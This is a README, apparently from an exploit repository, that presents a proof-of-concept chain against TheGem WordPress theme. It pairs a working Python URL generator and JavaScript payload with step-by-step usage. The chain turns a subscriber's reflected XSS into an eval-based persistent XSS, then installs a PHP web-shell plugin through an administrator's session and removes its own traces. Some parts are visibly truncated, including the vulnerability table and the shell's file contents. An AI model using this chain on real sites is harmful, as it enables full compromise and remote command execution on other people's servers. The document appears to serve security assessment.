## https://sploitus.com/exploit?id=F3119C5A-4230-520D-8410-A5BD2D0142D1
# TheGem-Theme-Exploit-Chain-One-Click-Full-Compromise-Subscriber-RCE-
```markdown
# TheGem Theme Multiple Vulnerabilities Exploit Chain
This repository contains a proof‑of‑concept exploit chain that combines four vulnerabilities in **TheGem WordPress theme** (versions ` tags on every page. |
| **CVE‑2025‑4317** | Authenticated File Upload – the WordPress plugin installer can be used to upload a malicious plugin (requires admin privileges). |
## 🚀 Exploit Chain
1. **Subscriber clicks a crafted URL** that triggers the reflected XSS (CVE‑2023‑50892).
2. The injected JavaScript uses the missing authorization endpoint (CVE‑2025‑4339) to write a persistent XSS payload into the theme’s `custom_js_header` option.
3. The persistent XSS (CVE‑2025‑62011) now runs on every page load for all visitors.
4. When an **administrator** visits any page, the persistent XSS executes with admin privileges and uses the plugin installer (CVE‑2025‑4317) to upload a PHP web shell.
5. The script automatically cleans up by removing itself from the theme options.
6. The attacker can then access the shell at `/wp-content/plugins/my-shell/my-shell.php?cmd=id`.
## 📜 Exploit Generator
Run the Python script below to generate the malicious URL. The generated URL must be opened by a **logged‑in subscriber** on a vulnerable WordPress site that uses TheGem theme with blog grid sorting enabled (e.g., on a category page like `/category/blogs-02-1/`).
```python
import urllib.parse
import base64
base = "http://localhost:10019/category/blogs-02-1/?orderby=title&order="
# Plugin installer script (self‑cleaning, logs to console)
installer_payload = """
let s=document.createElement('script');
s.src='https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js';
s.onload=()=>{
fetch('/wp-admin/plugin-install.php?tab=upload')
.then(r=>r.text())
.then(html=>{
let nonce=html.match(/name="_wpnonce" value="([^"]+)"/)[1];
let zip=new JSZip();
zip.file('my-shell/my-shell.php','');
return zip.generateAsync({type:'blob'}).then(blob=>({nonce,blob}));
})
.then(({nonce,blob})=>{
let fd=new FormData();
fd.append('_wpnonce',nonce);
fd.append('pluginzip',blob,'my-shell.zip');
fd.append('action','upload-plugin');
return fetch('/wp-admin/update.php?action=upload-plugin',{method:'POST',credentials:'same-origin',body:fd});
})
.then(()=>{
console.log('Plugin installed! Cleaning up...');
return fetch('/wp-admin/admin-ajax.php?action=thegem_theme_options_api&data=' + encodeURIComponent(JSON.stringify({action:'getSettings'})))
.then(r=>r.json())
.then(data=>{
if(data.options){
data.options.custom_js_header = '';
return fetch('/wp-admin/admin-ajax.php',{
method:'POST',
credentials:'same-origin',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({
action:'save',
credentials:{},
options:data.options
})
});
}
});
})
.then(()=>{
console.log('Cleanup complete');
console.log('Shell available at: /wp-content/plugins/my-shell/my-shell.php?cmd=id');
});
};
document.head.appendChild(s);
"""
# Base64 encode the installer to safely embed in eval()
b64_installer = base64.b64encode(installer_payload.encode()).decode()
# Script that injects the persistent XSS via missing authorization endpoint
injection_script = f"""
fetch('/wp-admin/admin-ajax.php?action=thegem_theme_options_api',{{
method:'POST',
credentials:'same-origin',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{
action:'save',
credentials:{{}},
options:{{
custom_js_header: 'eval(atob("{b64_installer}"));',
custom_js: "",
customSocials: [],
page_options: {{
default: {{}}, blog: {{}}, search: {{}}, global: {{}},
post: {{}}, portfolio: {{}}, product: {{}}
}}
}}
}})
}}).then(r=>r.json()).then(d=>{{if(d.status==='success') alert('✅ Persistent XSS injected!'); else alert('Error: '+JSON.stringify(d));}});
"""
# Embed in reflected XSS (break out of order attribute)
full_script = '">' + injection_script + ''
encoded = urllib.parse.quote(full_script)
url = base + encoded
print(url)
```
## 🧪 Usage
1. **Set the target base URL** in the script (line 3) – replace `http://localhost:10019` with your WordPress site address.
2. **Run the script** – it will print a very long URL.
3. **Log in as a subscriber** on the WordPress site.
4. **Paste the generated URL** into the browser address bar and press Enter.
5. You should see an alert: `✅ Persistent XSS injected!`
*(If you see an error, the target may not be vulnerable.)*
6. **Log out** and **log in as an administrator** (or wait for an administrator to visit any page).
7. Open the browser **console** (F12) – you will see log messages:
```
Plugin installed! Cleaning up...
Cleanup complete
Shell available at: /wp-content/plugins/my-shell/my-shell.php?cmd=id
```
8. **Access the shell** at the provided URL (e.g., `http://your-site.com/wp-content/plugins/my-shell/my-shell.php?cmd=id`).
Append `&cmd=whoami` to execute system commands.
## ⚠️ Prerequisites
- The target site must use **TheGem theme version < 5.9.2** (tested on 5.5).
- A page that includes the **blog grid with sorting** must exist. In the example, we used `/category/blogs-02-1/` (a category archive page). If that page is not present, you can create a page with a `gem_news` shortcode that has `blog_show_sorting="1"`.
- The subscriber must be able to post comments (auto‑approved or pending approval) – the script uses the comment system only to obtain a nonce, but the actual injection goes through the AJAX endpoint. No comment is posted in this chain.
- The site must have internet access to load the JSZip library from the CDN.
## 🧹 Cleanup
After the exploit, the plugin `my-shell` will be installed (deactivated). You can remove it from **Plugins** in the WordPress admin. The injected `custom_js_header` is automatically cleared by the script.
## 📄 License
This is for educational purposes only. Use only on systems you own or have explicit permission to test.
## 🙏 Acknowledgments
- Original vulnerabilities discovered by Rafie Muhammad and others.
- Exploit chain developed as part of a security assessment.
```